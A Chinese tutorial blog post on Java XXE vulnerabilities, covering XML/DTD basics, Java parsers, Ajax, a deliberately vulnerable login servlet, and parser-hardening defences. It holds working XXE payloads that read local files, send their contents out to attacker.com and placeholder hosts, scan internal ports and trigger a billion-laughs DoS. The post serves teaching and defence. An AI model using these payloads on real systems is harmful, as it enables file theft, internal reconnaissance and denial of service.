JAVA的XXE漏洞

1. XXE简介

XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体数据进行处理时,可能存在恶意行为导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等问题。简单来说,如果系统能够接收并解析用户的XML,但未禁用DTD和Entity时,可能出现XXE漏洞,常见场景如pdf在线解析、word在线解析、定制协议或者其他可以解析xml的API接口。

如果下表列出的JAVA API没有恰当配置,可能造成XXE漏洞。因为这些API可以对XML文件进行相应解析,后面会讲到。

javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser

2. XML与DTD

2.1 XML

XML(eXtensible Markup Language)叫做可扩展的标记语言,所有的标签都可以自定义。通常xml被用于信息的记录和传递,所以xml经常用于配置文件。

<?xml version="1.0" encoding="UTF-8"?>  //XML声明,定义XML版本和编码信息
<scores>
     <student id="1">
         <name>张三</name>
         <course>java</course>
         <score>90</score>
    </student>
    <student id="2">
          <name>李四</name>
          <course>xml</course>
          <score>99</score>
    </student>
</scores>

2.2 DTD

DTD(Document Type Definition,文档类型定义),DTD用于约束xml的文档格式,保证xml是一个有效的xml。DTD可以分为内部DTD和外部DTD。

<!DOCTYPE 根元素 [元素声明]>  //(中间的空格不可省略)

(1)内部DTD
如果DTD被包含在XML源文件中,就直接声明。<!DOCTYPE 根元素 [元素声明]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE scores [
        <!ELEMENT scores (student*) >
        <!ELEMENT student (name, course, score)>
        <!ATTLIST student id CDATA #REQUIRED>
        <!ELEMENT name (#PCDATA)>
        <!ELEMENT course (#PCDATA)>
        <!ELEMENT score (#PCDATA)>
        ]>
<scores>
    <student id="1">
        <name>张三</name>
        <course>java</course>
        <score>90</score>
    </student>
    <student id="2">
        <name>李四</name>
        <course>xml</course>
        <score>99</score>
    </student>
</scores>

如果XML中的格式没有参照DTD的定义,就会报错。
XML要按照DTD中的约束进行,所以我们可以对照上面demo的DTD与XML,根元素<scores>,那么DTD声明为<!DOCTYPE scores []>,接着子元素为<student>,标签出现了两次(分别为id=1,id=2),那么DTD中子元素标签声明应为<!ELEMENT scores (student*) >,*号代表出现任意次的约束。标记标签出现次数,有如下选项

+:至少出现一次
?:出现0次或1次
*:出现任意次

接着如果标签包含子元素,要列在后面,如student(name,course,score)。如果标签中包含属性id,声明为 <!ATTLIST student id CDATA #REQUIRED>代表属性值,CDATA表示字符数据,如果是夹在标签中的文本应该用PCDATA。默认的参数值包含三种:#REQUIRED(属性值是必需的)、#IMPLIED(属性不是必需的)、#FIXED (属性值固定),或者直接赋值。

(2)外部DTD
如果DTD在外部文档中,如scores.dtd,就要在xml文件中引入外部dtd。<!ENTITY 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?>  //XML声明,定义XML版本和编码信息
<!DOCTYPE scores SYSTEM "scores.dtd" >
<scores>
//中间部分省略
</scores>

(3)实体
实体用于定义引用普通文本或特殊字符的变量,可在内部或外部进行声明。内部格式<!ENTITY 实体名称 "实体的值">,外部格式<!ENTITY 实体名称 SYSTEM "URI/URL">,还有一种称为参数实体<!ENTITY % 实体名称 "实体的值";>

a.内部实体

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright Bill Gates.com.cn">
<author>&writer;&copyright;</author>

如果实体在根元素目录下:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [
        <!ENTITY writer "Bill Gates">
        <!ENTITY copyright "Copyright Bill Gates.com.cn">
]>
<root><writer>&writer;</writer><copyright>&copyright;</copyright ></root>

b.外部实体

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY writer SYSTEM "entities.dtd">
<!ENTITY copyright SYSTEM "entities.dtd">
<author>&writer;&copyright;</author>

c.参数实体
参照上面demo的实体声明如下

<!ELEMENT student (name, course, score)>

如果想替换为参数实体,上述语句等价如下:

<!ELEMENT %stu "name">
<!ELEMENT %class "course,score">
<!ELEMENT student (%stu;, %class;)>

根据这种参数写法,我们假设攻击者发送这样的XML语句:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
  %all;
]>
<data>&fileContents;</data>

evil.dtd中的内容如下:

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

最终请求响应的结果,即文件/etc/fstab的内容会包含在CDATA标签中。

有时我们需要将其中的内置实体转义

&符号:&amp;
单引号:&apos;
大于号:&gt;
小于号:&lt;
双引号:&quot;
%符号:&#x25;

XSD(XML Schema)是DTD的替代者,不仅可以定义XML文档的结构还可以规范内容,其本身也是XML文档,比DTD复杂但功能更强大。

2.3 XML解析方式

XML的解析即对xml文件进行操作,包括创建xml,对xml文件进行增删改查的操作。XML解析技术包括DOM(官方提供的解析技术(SUN))、SAX(民间的解析技术)、JDOM(第三方提供的xml解析框架,开源)、DOM4J(JDOM升级版,开源)等技术。
(1)DOM解析XML

public class Demo {
    public static void main(String[] args) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        File f = new File("books.xml");
        Document doc = builder.parse(f);
        Element root = doc.getDocumentElement();
        NodeList list = root.getElementsByTagName("book");
         }
    }
}

(2)DOM4J解析XML

public class TestXml{
    public static void main(String[] args){
        //创建SAXReader对象,用于读取xml文件
        SAXReader reader=new SAXReader();
        //读取xml文件,得到Document对象
        Document document=reader.read(new File("src/score.xml"));
        //获取根元素
        Element root=document.getRootElement();
        //获取根元素下的所有子元素
        Iterator<Element> it=root.elementIterator();
        while (it.hasNext()){
            //取出元素
            Element e=(Element)t.next();
            //获取每个id属性
            Attribute id=e.attribute("id");
            System.out.println(id.getName()+"="+id.getValue());
            //获取student的子元素
            Element name=e.element("name");
            Element course=e.element("course");
            Element score=e.element("score");
            System.out.println(name.getName()+"="+name.getStringValue());
            System.out.println(course.getName()+"="+course.getText());
        }
        //创建xml
        //通过DocumentHelper生成一个Doctment对象
        Document document1=DocumentHelper.createDocument();
        //得到根元素
        Element root=document1.addElement("books");
        //添加子元素
        Element book=root.addElement("book");
        //为book添加属性
        book.addAttribute("id","b01");
        //为book添加子元素
        Element name=book.addElement("name");
        //为子元素添加文本
        name.addText("Thinking in java");
//        输出
        //将doc输出到xml文件中
        Writer writer=new FileWriter(new File("src/book.xml"));
        document1.write(writer);
        //关闭资源
        writer.close();
//        格式良好的输出
        OutputFormat format=OutputFormat.createPrettyPrint();
        XMLWriter xmlWriter=new XMLWriter(new FileWriter(new File("src/book2.xml"));
        xmlWriter.write(document1);
        xmlWriter.close();
    }
}

(3)SAX解析XML

public class SaxParserDemo
{
       public static void main(String[] args) throws Exception, SAXException
    {
        SAXParserFactory factory = SAXParserFactory.newInstance();
        SAXParser parser = factory.newSAXParser();
        File f = new File("books.xml");
        SaxHandler dh = new SaxHandler();
        parser.parse(f, dh);
    }
}

(4)JDOM解析XML

public class JDomDemo {
    public static void main(String[] args) {
        SAXBuilder saxBuilder = new SAXBuilder();
        InputStream in=new FileInputStream("xml/books.xml");
                Document document = saxBuilder.build(in);
        Element element = document.getRootElement();
        List<Element> childList = element.getChildren();
        for (Element child : childList) {
            List<Attribute> attrList = child.getAttributes();
            for(Attribute attr : attrList) {
              System.out.println("属性名:" + attr.getName() + "-->属性值:" + attr.getValue());
          }
        }       
    }
}

2.4 XML解析Demo

以DOM解析方式为例,在工程中创建上述XMLdemo,XML文件内容和演示结果如下


XML文件

然后创建一个Student类,方便一会儿处理数据

package org.example.domain;

public class Student {
    private int id;
    private String name;
    private String course;
    private int score;

    public Student() {
    }

    public Student(int id, String name, String course, int score) {
        this.id = id;
        this.name = name;
        this.course = course;
        this.score = score;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getCourse() {
        return course;
    }

    public void setCourse(String course) {
        this.course = course;
    }

    public int getScore() {
        return score;
    }

    public void setScore(int score) {
        this.score = score;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", course='" + course + '\'' +
                ", score=" + score +
                '}';
    }
}

接着创建XMLTest测试类,对XML进行读取演示

package test;

import org.example.domain.Student;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

public class XMLTest {
    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        List<Student> students=new ArrayList<>();

        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        File f = new File("src/main/resources/Student.xml");
        Document doc = builder.parse(f);
        Element root = doc.getDocumentElement();
        NodeList list = root.getElementsByTagName("student");
        //遍历每个student标签,对应一个student对象
        for (int i=0;i<list.getLength();i++){
            Student student=new Student();
            //获取每个student标签
            Element stuElement=(Element) list.item(i);
            //获取对应的id
            int id=Integer.parseInt(stuElement.getAttribute("id"));
            student.setId(id);
            //获取student标签的子节点
            NodeList childNodes=stuElement.getChildNodes();
            //遍历获取每个子节点
            for (int j=0;j<childNodes.getLength();j++){
                //子节点中可能包含了文字或空格等,可能报空指针异常
                Node stuChild=childNodes.item(j);
                //只获取标签形式的子节点,即ELEMENT_NODE类型
                if (stuChild.getNodeType()==Node.ELEMENT_NODE){
                    if (stuChild.getNodeName().equals("name")){
                        String name=stuChild.getFirstChild().getNodeValue();
                        student.setName(name);
                    }
                    else if (stuChild.getNodeName().equals("course")){
                        String course=stuChild.getFirstChild().getNodeValue();
                        student.setName(course);
                    }
                    else {
                        int score=Integer.parseInt(stuChild.getFirstChild().getNodeValue());
                        student.setScore(score);
                    }
                }

            }
            students.add(student);
        }
        System.out.println(students);
    }
}

2.5 payload示例

上述XML解析Demo展示了java程序解析XML文件的过程,如果在系统中,XML文件不是系统自带的,而是允许用户上传的,那么可能造成一些危害,比如当我们把上传的XML写成如下的内容,引用外部实体,实体为系统敏感文件。

//payload.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
        <!ELEMENT creds ANY >
        <!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">
        ]>
<creds>
    &xxe;
</creds>

服务器解析的代码和之前所说的DOM XML解析方式一致,内容如下:

//LocalXMLTest.java
package test;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.File;
import java.io.IOException;

public class LocalXMLTest {
    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        File f = new File("src/main/resources/payload.xml");
        Document doc = builder.parse(f);
        Element root = doc.getDocumentElement();
        System.out.println(root.getFirstChild().getNodeValue());
    }
}

我们可以看到因为XML恶意读取了system.ini中的内容,并且程序中将结果打印了出来(结果如下),这就是有回显的XXE漏洞

有回显的XXE

此漏洞的防御方式可以直接将外部实体引用禁掉,在程序代码中加入如下语句即可

factory.setExpandEntityReferences(false);

3. Ajax技术

这里补充一点Ajax的知识,Ajax是异步js和xml技术的结合。如果网页中某一个地方需要修改,异步刷新可以只刷新需要修改的地方,其他页面保持不变。比如百度的搜索框。

3.1 Ajax实现方式

Ajax实现方式一般以jquery为主,也有用js的。这里推荐用jquery
(1)js实现Ajax
用js实现需要用到XMLHttpRequest对象,其中包含的方法包括

open(方法名get/post,服务器地址,true是否异步)与服务器建立连接
send(get无参/post有参),send(null),send(参数值)
setRequestHeader(header,value),get不需要设置,post需要设置
    a.如果请求元素中包含文件上传,setRequestHeader("Content-Type","multipart/form-data")
    b.如果不包含文件上传,setRequestHeader("Content-Type","application/x-www-form-urlencoded")
    c.如果传递xml,setRequestHeader("Content-Type","application/xml")

另外该对象的常见属性包含readystate请求状态(状态为4时代表正常)、state响应状态(状态为200时代表响应正常)、onreadystatechange回调函数(如果A是B的回调函数,那么B执行完就会执行A)、responseText(响应格式为String)、responseXML(响应格式为XML)。
(2)jquery实现Ajax
jquery的标准格式如下:

  $.ajax({
          type: "POST",
          url: "MobileServlet",
          contentType: "application/x-www-form-urlencoded;charset=utf-8",
          data: "mobile="+$mobile,
          success:function(result) {
          },
          error:function(xhr,errorMessage,e){
          }
        })

除了 $.ajax()还有$.get()$.post()$.load(),通过id选择器我们还可以写成$("#tip").load(),load可以将度武器端的返回值直接加在到所选元素中,不需要再写function。
另外json也可以传递Ajax数据,$.getJSON()。后面这些方式可以省去内部的url、data等标签
Json数据的常见格式如下:

var student={"name":"zs","age":23};
var name=["zs","ls","ww"];
var students=[
    {"name":"zs","age":23},
    {"name":"ls","age":24},
    {"name":"ww","age":26}
];

和前面的格式的区别只是在data部分,改用json数据

$.getJSON(
    "MobileServlet",
    {“mobile:$mobile”,"a":"b"}, //采用键值对形式
    function(result){
      var jsonname=eval(result);
    }
)

但要注意的是,json方式传递的Ajax数据,返回值的result也是Json格式。所以后端写返回值时(Json字符串)需要写Json格式如{“msg”:"true"},但是如果放在后端的out.write()中,需要单个参数,就需要将json格式括起来,那么json里面的双引号就需要被转义,完整格式如out.write("{\"msg\":\"true\"}"),那么我们在接收返回值时可以用result.msg。另外后端返回时也可以直接返回Json对象

JSONObject jsonObject=new JSONObject();
jsonObject.put("mobile",mobile);
out.print(jsonObject);

3.2 Ajax Demo

Demo中前端注册页传递手机号码,后端判断是否存在,默认已经存在的手机号只有18888888888。
此处要注意的是,因为Ajax也涉及到路径问题,所以要在web.xml中配置servlet,否则容易报404,配置内容如下:

//web.xml
    <servlet>
        <servlet-name>MobileServlet</servlet-name>
        <servlet-class>org.example.Ajax.MobileServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>MobileServlet</servlet-name>
        <url-pattern>/MobileServlet</url-pattern>
    </servlet-mapping>

后端的MobileServlet内容如下:

//MobileServlet.java
package org.example.Ajax;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class MobileServlet extends HttpServlet {

    protected void doGet(HttpServletRequest request,HttpServletResponse response) throws IOException {
        request.setCharacterEncoding("utf-8");
        response.setCharacterEncoding("utf-8");
        response.setContentType("text/html;charset=UTF-8");
        String mobile= request.getParameter("mobile");
        System.out.println(mobile);
        PrintWriter out=response.getWriter();
        if ("18888888888".equals(mobile)){
            //通过输出流的方式传递参数
            out.write("true");
        }
        else {
            out.write("false");
        }
        out.close();
    }

    protected void doPost(HttpServletRequest request,HttpServletResponse response) throws IOException {
        doGet(request,response);
    }
}

前端是个简单的注册框,因为此处用Ajax,就不用form了。两种Ajax实现方式分别如下:
(1)js实现方式

//index.jsp
<head>
<script type='text/javascript'>
      function register() {
        var mobile = document.getElementById("mobile").value;
        alert(mobile);
        //form方式是全局刷新,ajax异步刷新,请求服务器
        xmlHttpRequest = new XMLHttpRequest();//没有var 代表是全局变量
        //设置对象的回调函数
        xmlHttpRequest.onreadystatechange = callback;
        xmlHttpRequest.open("post", "MobileServlet", true);
        //设置Post方式的头信息
        xmlHttpRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlHttpRequest.send("mobile=" + mobile);//k=v
      }
function callback() {
        if(xmlHttpRequest.readyState==4 && xmlHttpRequest.status==200){
          //接收服务端响应的数据
          var data=xmlHttpRequest.responseText;
          if (data=="true"){
            alert("号码已经存在,请重新输入");
          }
          else {
            alert("注册成功");
          }
        }
 }
    </script>
</head>
<body>
    手机:<input id="mobile" /><br/>
    <input type="button" value="注册" onclick="register()" />
</body>

(2)jquery实现方式

<head>
<script src="http://code.jquery.com/jquery-2.1.4.min.js"></script>
<script type='text/javascript'>
        var $mobile=$("#mobile").val();
        alert($mobile);
        $.ajax({
          type: "POST",
          url: "MobileServlet",
          contentType: "application/x-www-form-urlencoded;charset=utf-8",
          data: "mobile="+$mobile,
          success:function(result) {
            alert(result);
            if (result=="true"){
              alert("已存在!注册失败!");
            }
            else {
              alert("注册成功");
            }
          },
          error:function(xhr,errorMessage,e){
            alert("系统异常");
          }
        })
      }
</script>
</head>
<body>
      手机:<input id="mobile" /><br/>
      <input type="button" value="注册" onclick="register()" />
</body>

3.3 Ajax传递XML数据的XXE漏洞

前端页面如下,通过jquery方式实现Ajax传递username和password

//index.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<body>
用户名<input id="username" name="username" type="text">
密码<input id="password" name="password" type="password" class="form-control">
<input type='button'  name='next' value='login' onclick="doLogin()" />
<span style="color:red;" class="msg"></span>
</body>
<script src="http://code.jquery.com/jquery-1.4.1.min.js"></script>
<script type='text/javascript'>
    function doLogin(){
        var username = $("#username").val();
        var password = $("#password").val();
        if(username == "" || password == ""){
            alert("Please enter the username and password!");
            return;
        }

        var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
        $.ajax({
            type: "POST",
            url: "doLoginServlet",
            contentType: "application/xml;charset=utf-8",
            data: data,
            dataType: "xml",
            anysc: false,
            success: function (result) {
                var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
                var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
                if(code == "0"){
                    $(".msg").text(msg + " login fail!");
                }else if(code == "1"){
                    $(".msg").text(msg + " login success!");
                }else{
                    $(".msg").text("error:" + msg);
                }
            },
            error: function (XMLHttpRequest,textStatus,errorThrown) {
                $(".msg").text(errorThrown + ':' + textStatus);
            }
        });
    }
</script>
</html>

后端首先配置web.xml,配置url的doLoginServlet路由。

//web.xml
  <servlet>
    <servlet-name>doLoginServlet</servlet-name>
    <servlet-class>org.example.controller.LoginServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>doLoginServlet</servlet-name>
    <url-pattern>/doLoginServlet</url-pattern>
  </servlet-mapping>

然后写控制器,用DOM方式进行XML解析,根据用户名密码是否匹配返回对应的code,然后Ajax根据code的值在span标签中输出相应内容。

package org.example.controller;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.springframework.stereotype.Controller;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import javax.xml.parsers.*;

@Controller("/doLoginServlet")
public class LoginServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;

    private static final String USERNAME = "admin";//账号
    private static final String PASSWORD = "admin";//密码

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db;
        String result="";
        try {
            db = dbf.newDocumentBuilder();
            /*修复代码*/
            //dbf.setExpandEntityReferences(false);
            Document doc = db.parse(request.getInputStream());
            String username = getValueByTagName(doc,"username");
            String password = getValueByTagName(doc,"password");
            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                System.out.println("<result><code>"+"1"+"</code><msg>"+username+"</msg></result>");
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                System.out.println("<result><code>"+"0"+"</code><msg>"+username+"</msg></result>");
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
            System.out.println("<result><code>"+"3"+"</code><msg>"+e.getMessage()+"</msg></result>");
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        } catch (SAXException e) {
            e.printStackTrace();
            System.out.println("<result><code>"+"3"+"</code><msg>"+e.getMessage()+"</msg></result>");
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request, response);
    }

    public static String getValueByTagName(Document doc, String tagName){
        if(doc == null || tagName.equals(null)){
            return "";
        }
        NodeList pl = doc.getElementsByTagName(tagName);
        if(pl != null && pl.getLength() > 0){
            return pl.item(0).getTextContent();
        }
        return "";
    }
}

因为传输数据为XML格式,我们抓包读取敏感文件,将username的值换成实体,即可完成攻击。


payload

4. XXE漏洞利用

4.1 有回显的XXE漏洞

(1)File协议读取

a.利用外部实体
2.5章节中用的payload实例即为外部实体file协议读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
        <!ELEMENT creds ANY>
        <!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">
        ]>
<creds>&xxe;</creds>

b.参数实体
如果被file读取的文件中有特殊符号,XML解析时会产生错误,就需要用CDATA,CDATA区段中的文本会被解析器忽略。另外,任何特殊字符在XML中都要被替换为实体引用。
CDATA格式是引用的两边加上"<![CDATA["“]]>”,但是内部参数的实体引用是被禁止的,所以我们都要写成各个实体的形式,最终拼接到一起就需要用到参数实体。

//payload.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
        <!ENTITY % start "<![CDATA[">
        <!ENTITY % goodies SYSTEM "file:///c:/windows/system.ini">
        <!ENTITY % end "]]>">
        <!ENTITY % dtd SYSTEM "evil.dtd"> %dtd; ]>

<creds>&all;</creds>
//evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

(2)netdoc协议读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
        <!ELEMENT creds ANY>
        <!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
        ]>
<creds>&xxe;</creds>

因为一般项目中的XML都是以配置文件的形式存在,所以一般不会将其内容进行读取并显示,那么我们遇到的大多数情景都是没有回显的,也就是说我们的恶意payload传过去,并不能直接读到敏感文件的内容。那么如果想获得内容就需要把我们读到的东西传到另一个可读的地方。

4.2 无回显的XXE漏洞

(1)http协议读取
外部参数实体

//payload.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "evil.dtd">
%remote;%int;%send;
]>

evil.dtd

<!ENTITY % file SYSTEM "file:///c:/windows/a.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:8080/ssm02_18_war_exploded/account/receive?context=%file;'>">

程序解析xml首先调用remote读取dtd,然后调用int,去获取远程地址,file被传递进参数,获取敏感文件内容并传值。而在内部Entity中禁止引用参数实体,所以DTD中send前要把%转义成&#37;
这里需要注意的是,如果我们把a.txt换成windows下的敏感文件,如<!ENTITY % file SYSTEM "file:///c:/windows/system.ini">,java会报错Exception in thread "main" java.net.MalformedURLException: Illegal character in URL,这是因为敏感文件中可能存在特殊字符,造成编码问题。

4.3 可利用JAVA协议

既然无回显需要通过HTTP发送请求,便会想到SSRF,一般来讲XXE也是一种SSRF攻击手段。Java中的SSRF支持sun.net.www.protocol 里的所有协议:http、https、file、ftp、mailto、jar、netdoc、gopher。其中,jdk1.8开始不再支持gopher协议,目前支持的版本是Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35。除了demo中所用的file和netdoc协议,也可用上述其他协议进行测试。
利用这些协议,我们可以采取更多的攻击方式,比如http进行端口扫描。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data></data>

或者根据java中的jar协议可以从远程获取jar/zip文件并对其中的内容进行解压。协议格式为jar:{url}!{path}。如果在内网中有SMTP服务器,我们还可以根据ftp协议结合CRLF注入发送任意命令,进行钓鱼。在一些条件下,我们可以将XML写入迭代实体,进行DOS攻击。

<?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     ]>
     <lolz>&lol6</lolz>

4.4 防御

想要防御java的XXE漏洞,一般采取禁用外部实体的方式,代码如下

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

参考资料

https://xz.aliyun.com/t/6829
https://xz.aliyun.com/t/3357#toc-14
Ajax传递XML数据的XXE漏洞参考xxe-lab

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,240评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,328评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,182评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,121评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,135评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,093评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,013评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,854评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,295评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,513评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,678评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,398评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,989评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,636评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,801评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,657评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,558评论 2 352